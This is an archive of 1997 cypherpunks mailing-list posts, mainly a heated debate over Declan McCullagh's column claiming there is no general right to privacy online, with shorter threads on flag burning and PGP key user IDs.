I endorse Declan's comments here, and most of what he says about privacy --
in particular that there is no general (read "universally applicable")
right to privacy.

There are, however, some particular rights to privacy in the United States
that are worth maintaining and protecting into the next century.

As against the government, these include (but are not limited to) one's
4th, 5th, and 6th Amendment rights that limit what the government can do to
violate your privacy.

As against other individuals and private entities, these include (but are
not limited to) the rights protected under the invasion-of-privacy torts,
and the restrictions on private companies' secondary use of transactional
data.

These carveouts from the general presumption articulated by Declan are
generally supported by the American public, and have been reasonably well
harmonized with First Amendment law. And they've stood the test of time.

Most privacy advocates I know, when they're talking about privacy, are
talking about these carveouts -- both as they exist now and as they will
need to evolve in the decades to come.

It should be noted that efforts like the EFF-originated ETrust program (now
called Trust-E thanks to a trademark dispute) are not based on "rights,"
but on the creation of incentives to inform the public about the use of
their personal information. As such, they sidestep the "right to privacy"
discussion altogether.

Which is probably just as well, given the quasi-theological taste such
legal discussions tend to have.


--Mike




----------------------------------------------------------------------------
'Indeed, the Government's asserted "failure" of the Internet rests on the
implicit premise that too much speech occurs in that medium, and that
speech there is too available to the participants.  This is exactly the
benefit of Internet communication, however.  The Government, therefore,
implicitly asks this court to limit both the amount of speech on the
Internet and the availability of that speech.  This argument is profoundly
repugnant to First Amendment principles.'
   --Judge Stewart Dalzell, ACLU v. Reno.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic@eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 13 Jun 1997 20:34:21 +0800
To: <cypherpunks@toad.com>
Subject: Re: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v0302096cafc6e64af462@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:56 am -0400 on 6/13/97, Tim May wrote:


>  Did you vote for
> George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
> while Richard Nixon was a guy who finagled his way out of joining the
> military?

Uh, Nixon spent WWII in the navy(?) in the Pacific.

About the only finagling he did was win enough in poker to fund his
congressional campaign on returning home.

I am not a crook,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:46:06 +0800
To: cypherpunks@toad.com
Subject: The Cartoon Decency Act? from the Netly News
Message-ID: <Pine.GSO.3.95.970613080617.27747J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 08:05:12 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: The Cartoon Decency Act? from the Netly News


***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan@well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:42:30 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613082033.27747N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I suppose I am scum, at least by Ray's definition.

But let me ask this question: if someone *did* post my credit card/bank
records online through an anonymous remailer, what recourse would I have?
What recourse should I have?

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Thu, 12 Jun 1997, Declan McCullagh wrote:
> 
> > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> 
> [...]
> 
> >      I have a confession to make: Unlike many of my
> > civil libertarian colleagues, I believe you have no
> > general right to privacy online. Sure, you have the
> > right to protect your personal data, but you shouldn't
> > be able to stop someone else from passing along that
> > information if you let it leave your computer. That's
> > your responsibility.
> 
> 
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?  Maybe if someone would go through all your records and post
> them all over the net, you'd feel differently!
> 
> Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> scum if you believe this.
> 
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:56:30 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Oh, and at least read the whole article.

-Declan
   
   Privacy? What Privacy?

   by Declan McCullagh   June 12, 1997
   
        I have a confession to make: Unlike many of my civil libertarian
   colleagues, I believe you have no general right to privacy online.
   Sure, you have the right to protect your personal data, but you
   shouldn't be able to stop someone else from passing along that
   information if you let it leave your computer. That's your
   responsibility.
   
        So you can imagine my dismay when I learned I'd be sitting
   through four full days of Federal Trade Commission hearings this week
   on Internet privacy. The commission's goal? To define "privacy rights"
   for the Net -- and to be perhaps the first federal agency to regulate
   it. The commissioners are being spurred on by consumer groups that
   want the government to bar firms from collecting information about
   your online wanderings. Businesses say that such a rule would stifle
   Internet advertising and commerce and have recently released a flurry
   of self-regulatory proposals.
   
        "At what point do we trigger some concern?" FTC Commissioner
   Christine Varney asked on Tuesday, the first day of the hearing. "Is
   there any circumstance under which access to the information that
   exists should be restricted?"
   
        Evan Hendricks from Privacy Times responded: "We see there's a
   huge problem developing with personal information over the Internet."
   EPIC's Marc Rotenberg added later: "We are selling information today
   that 10 years ago would not be bought and sold. The law has not kept
   up with these developments."
   
        Yet this misses the point. Protecting your personal privacy
   online is your responsibility. Turn off cookies. Don't give out your
   home address. Educate your children. Use the Anonymizer. Stay away
   from web sites you don't trust. You, not the federal government,
   should make these decisions.
   
        Which is one reason why I think there is no general right to
   privacy -- at least as the consumer groups and privacy advocates
   describe it. Rotenberg likes to say "Privacy is not an absolute right,
   but a fundamental right." But in truth, privacy is not a right but a
   preference: Some people want more of it than others.
   
        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.) You
   also have a right to privacy from Peeping Toms.
   
        But -- no matter how much big-government fetishists want this to
   be true -- you don't own information about yourself. After all,
   journalists are able to investigate someone's private life and publish
   an article -- even if it contains embarrassing personal details. This
   is a good thing: Any restrictions would weaken the First Amendment.
   Then there's gossip, which is a time-honored way of trading in others'
   personal information. "The reindeer-herding Lapps, for whom theft of
   livestock is easy and common, gossip about who has stolen which animal
   and where they are," sociologist Sally Engle Merry writes.
   
        "Fencing off information behind a newly-created wall of 'privacy
   rights' has obvious free speech implications," says Solveig Bernstein,
   a lawyer at the Cato Institute. "The government has no business
   telling private firms whether they can share information about events
   and people."
   
        Fortunately, you have some options. Say you walk into Radio Shack
   and that teenager behind the counter wants your home address. You have
   three choices: Convince the guy he doesn't need it, ask the government
   to force him not to require it -- or leave.
   
        Yes, leave. The same with a virtual storefront on a web site. If
   you don't like what information it records about you, or you're unsure
   about its privacy policies, take your browser elsewhere. Vote with
   your mouse button.
   
        New technologies will make this easy. Yesterday at the FTC
   hearing the Electronic Frontier Foundation unveiled TRUSTe, which is a
   privacy rating system for web sites where three types of icons
   indicate what a web site does with your personal information. Firms
   display the appropriate icon and agree to spot checks and audits to
   ensure they comply.
   
        "We're trying to foster honesty, not regulation. We're trying to
   foster the ability of the consumer to make a choice," EFF chairman
   Esther Dyson said. "If companies find people don't want to do business
   with them because of free exchange, they'll offer that option."
   
        That's exactly right, and that's why TRUSTe is such a good idea.
   Unlike FTC regulations that end at national borders, TRUSTe's icons
   can appear on overseas sites and foster electronic commerce globally.
   
        Indeed, most Americans prefer nongovernmental solutions. A Lou
   Harris survey announced yesterday said 70 percent of the public
   believes the private sector, not the feds, should take the lead in
   protecting privacy online. "By 2 to 1 the responses say business is
   more likely to be trusted to do good in this area," says pollster
   Stanley Greenberg. "When asked about a privacy commission that would
   take a regulatory approach, two thirds were against such a measure."
   
        But somehow, I doubt the FTC will take the hint.   *
   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:19:48 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



It's sad but not surprising that Ray didn't even bother to read the
article before saying "FUCK YOU." Talk about clueless...

He still misunderstands my position. I'm saying you have no property right
in information others collect about you.

> How many loons have used DMV records to stalk their victims?

How many loons have used newspaper reports to stalk their victims?
 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?

Great. You want Congress to pass a law that says "Netscape shall release
no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

I'm not saying that people have a "right to surf (?) it without your
permission." That's a violation of your property rights, a trespass. But
if you connect to my web site, I should be allowed to record whatever info
leaks from your computer. Don't like it? Cut the flow or don't come. 

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > Oh, and at least read the whole article.
> > 
> > -Declan
> >    
> >    Privacy? What Privacy?
> > 
> >    by Declan McCullagh   June 12, 1997
> >    
> >         I have a confession to make: Unlike many of my civil libertarian
> >    colleagues, I believe you have no general right to privacy online.
> >    Sure, you have the right to protect your personal data, but you
> >    shouldn't be able to stop someone else from passing along that
> >    information if you let it leave your computer. That's your
> >    responsibility.
> 
> I still disagree, and not just online.  There is plenty of information
> that you have no control over but should.  Your credit card transactions
> for instance can be looked up by any scumbag willing to pay money to TRW
> and it's ilk.  Your DMV records, your health records.  In theory only
> those that need to know this knowledge should be able to access it, and in
> practice what have we seen so far? 
> 
> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.
> 
> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  This is on a
> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)
> 
> How many loons have used DMV records to stalk their victims?
> 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?
> 
> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!
> 
> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.
> 
> So, I still disagree with your view.  Even after reading the whole
> article.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:23:14 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613113859.23715G-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613084421.27747R-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Again Ray misses the point. It's your responsibility to protect your
privacy. Choose credit card companies that protect it and you can enforce
this "right to privacy" through contract law. Ordering toilets on your
cards is already fraud. 

Nobody's saying someone should be allowed to break into your computer.
But by all means, beat that straw man some more.

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > I suppose I am scum, at least by Ray's definition.
> > 
> > But let me ask this question: if someone *did* post my credit card/bank
> > records online through an anonymous remailer, what recourse would I have?
> > What recourse should I have?
> > 
> > -Declan
> 
> My point exactly.  Why should anyone have access to my machine or my
> records and be able to pass it on to others?  Sure the insurance companies
> will squeal that they should have access to my DMV and health records, but
> should they have the right to take that info and pass it on publically?
> 
> What recourse do you feel you should have?
> 
> What would YOU do if someone did post all your personal info online?
> things like credit records, home address, phone number, DMV records,
> health records and such?  What would you WANT to do?  And what control do
> you currently have over this?
> 
> Mind you, with your credit card info, any one of the "ankle biters" of the
> Bevis & Butthead mentality would be able to purchase a dozen toilets and
> have them shipped to your home, and other such abuses.  Or report all your
> credit cards stolen right before you decide to entertain someone to dinner
> and find you can't pay for it... etc...  These are all well known pranks.
> 
> Do you see my point and why I'm vehemently opposed to yours?
> 
> Or do you believe that "Oh, I have nothing to hide, I'm a good person and
> have nothing to fear from anyone?"
> 
> > 
> > 
> > On Fri, 13 Jun 1997, Ray Arachelian wrote:
> > 
> > > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > > 
> > > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > > 
> > > [...]
> > > 
> > > >      I have a confession to make: Unlike many of my
> > > > civil libertarian colleagues, I believe you have no
> > > > general right to privacy online. Sure, you have the
> > > > right to protect your personal data, but you shouldn't
> > > > be able to stop someone else from passing along that
> > > > information if you let it leave your computer. That's
> > > > your responsibility.
> > > 
> > > 
> > > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > > morals, eh?  Maybe if someone would go through all your records and post
> > > them all over the net, you'd feel differently!
> > > 
> > > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > > scum if you believe this.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 00:00:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <v03102801afc71aba9e8d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:56 AM -0700 6/13/97, Declan McCullagh wrote:
>I suspect the scare about privacy has led to muddled thinking.
>
>Free speech is a right that strictly limits the government's ability to
>control what you say. We should have a similar right of privacy from the
>government.
>
>But I give up my free speech "rights" when I attend a college with a wacky
>speech code or go to work at a company with workplace speech policies. My
>choices in those situations are governed by my free speech preferences.
>Similarly, I give up my privacy "rights" when I go to unknown web sites,
>apply for a loan, or post to Usenet, etc. These also are preferences.
>
>I'm surprised not to hear more from other folks here: my position is one
>cypherpunks have advocated for years -- controlling what data flow from my
>computer is my responsibility.


I agree with everything Declan is saying. There is serious confusion out
there about "rights to privacy," everything from people passing laws
limiting how businesses may run their businesses to proposed laws limiting
the records people and companies may keep.

Sadly, too many people are simply ignorant of the underlying issues and
haven't given the issues much critical thought.

Hence the calls for "privacy laws," which actually violate more basic rights.

I predict a long battle with these "privacy advocates," especially the D.C.
lobbyist groups.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:31:37 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613085334.27747U-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 13 Jun 1997, Ray Arachelian wrote:
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?

Far from it. My position is a principled one, not one of convenience.

As a civil libertarian, for instance, I would not support laws that give
certain journalists more free speech "rights" than a Net-loon with a web
site.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 00:29:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <v03102802afc71cdf1f83@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:12 AM -0700 6/13/97, Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>[...]
>
>>      I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>
>Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>morals, eh?  Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!
>
>Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
>scum if you believe this.

Your "go through all your records" point is ambiguous. If others broke into
your house or office and searched your computer they would be guilty of
breaking and entering, and probably theft (of your records). Publication of
your records "all over the net" could be a compounding act, especially in a
civil action against the thieves.

However, if the "go through all your records" is really just collecting and
compiling your public utterances, or information you gave to others (with
no contractual agreement of secrecy), etc., then there is really no
generalized "right to privacy."

In a free and open society people are free to take any information they
have gathered or compiled, cross-indexed and compiled, and sell it or do as
they wish with it. "Tim's Dossier Service" is free to compile dossiers
based on any records he can find.

("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
and want laws regulating such things. They even want laws regulating the
searching of past postings on Usenet, services likek DejaNews and
AltaVista.)

So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
and you can send ASCII art to the list.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 14 Jun 1997 00:24:25 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v0300786dafc68637a08c@[207.94.249.152]>
Message-ID: <v03007874afc71e205651@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97
>   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:
>>If you have a version of the key with no signatures, then you can change
>>the data field and re-sign with the associated secret key.  Since the
>>data field has changed, you properly need to have others re-verify the
>>validity of the binding.
>
>I don't think that any changes that he would make to his key would need
>re-verification provided that he signed those changes. Take the following
>scenario:
>
>John Doe creates a key and signs it:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe
>sig                        John Doe (0xFFFFFFFF)
>
>Now 3 other people verify that the key does belong to John Doe and sign
>the key:
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>
>Now John adds an aka to his key and signs it.
>
>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>sig                        John Doe   (0xFFFFFFFF)
>sig                        Mary Jane  (0xAAAAAAAA)
>sig                        Tom Thumb  (0x11111111)
>sig                        Tiny Tim   (0xCCCCCCCC)
>aka                        John Doe john.doe@who-is-it.com
>sig                        John Doe   (0xFFFFFFFF)
>
>Since John Doe is the only one who could sign the key with the new aka one
>can assume that the aka is as valid as the original userid.

So if John Doe wants to be known as "president@whitehouse.gov" or "Tim May
<tcmay@got.net>" all he has to do is change the field, and upload the
changed key to the key servers, and all the signatures should remain good?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Fri, 13 Jun 1997 22:00:43 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131316.JAA18236@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain




panther@writeme.com said:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's
> a symbol of the freedom we have.  To allow someone to publicly burn a flag
> is essentially displaying our freedom being burned.

Some people believe that the freedom that the flag once symbolized is
already gone.  Burning the flag can be a representative way of saying "Our
Freedom has already been burned".

Of course, banning the burning of the flag only proves their point.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Fri, 13 Jun 1997 22:49:55 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v03007802afc70793754d@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain




>Marc Rotenberg commented, "Privacy at the individual user level is
>unimportant, just so long as a Privacy Ombudsman can decide on the
>legitimate needs of law enforcement."

Tim's statement, attributed to me, is not true. And I assume there
is still some role for truth in the debate about privacy issues.
Or maybe Tim disagrees.

Marc Rotenberg.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 13 Jun 1997 21:42:44 +0800
To: RS <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <Pine.GSO.3.95.970613092147.25037B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.

You're missing the point.  Burning the flag, the symbol of this nation, is
a protest that the government is doing something that you find absolutely
reprehensible.  (Or at least should be)  To prevent this burning of the
flag goes so strongly against what the First ammendment sought to do as to
completely ignore it.  

Sure, some people will burn the flag because they like to burn things, or
because they like to cause trouble, but isn't this hard to tell apart from
non-violent protest, one of the fundamental things in this country?

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 14 Jun 1997 01:06:15 +0800
To: Declan McCullagh <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <v03007876afc7277e89f3@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:22 AM -0700 6/13/97, Declan McCullagh wrote:
>        Fortunately, you have some options. Say you walk into Radio Shack
>   and that teenager behind the counter wants your home address. You have
>   three choices: Convince the guy he doesn't need it, ask the government
>   to force him not to require it -- or leave.

You can also lie, frequently the most convenient option, and according to
surveys, frequently used with nosy web sites.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 14 Jun 1997 00:56:35 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03102800afc652637f93@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970613093549.19087A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Tim May wrote:

> I can't understand (hint: someone please explain) why I get so many
> requests to send the "tcmay@got.net" key, as opposed to the
> "tcmay@netcom.com" key so widely available. I thought the key signings were
> about the Person Widely Known as "Tim May" being associated with the key
> signed, not some temporary e-mail address.

Have you set up another userid on the key and resubmit it to the key
servers and avoid the confusion.

> My binding was between the key, and "me." Those who wanted to send messages
> to "me" could assume that only "I" could read it. The address
> "tcmay@netcom.com" vs. "tcmay@got.net" is not central. Any concern that
> "tcmay@got.net" is somehow not the keyholder of that '92 key is a nonissue.

Most people out there only know you via your e-mail address.  How do they
know if "tcmay@netcom.com" is the same as "tcmay@got.net" and not
"mallet@nsa.gov"?  When looking for someone's key, most people look by
e-mail address.  (It is the only "unique" id other than key id or
fingerprint that people have to go on.)

> If the keyserver databases focus on such ephemera as the current ISP
> account, then they are focussing on the wrong things.

What do you want keyservers to go on?  You have to have some way of
obtaing the keys for an individual.  It could be some other Tim May out
there.  (Name collision is pretty common, especially since everyone and
his extended family are getting on the net.)

> Am I missing something central?
> 
> --Tim May, whose e-mail deliverer has changed a few times, but whose key
> remains constant. Which is more important?

Uh... Making the key reflect you address so people can find it...  Or as
was said in Dr. Strangelove "It is not a deterent if you keep it a
secret!".

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 13 Jun 1997 22:06:57 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
Message-ID: <199706131352.GAA06683@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



"RS" writes:

I'm curious as to why you feel the need to conceal your identity.

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
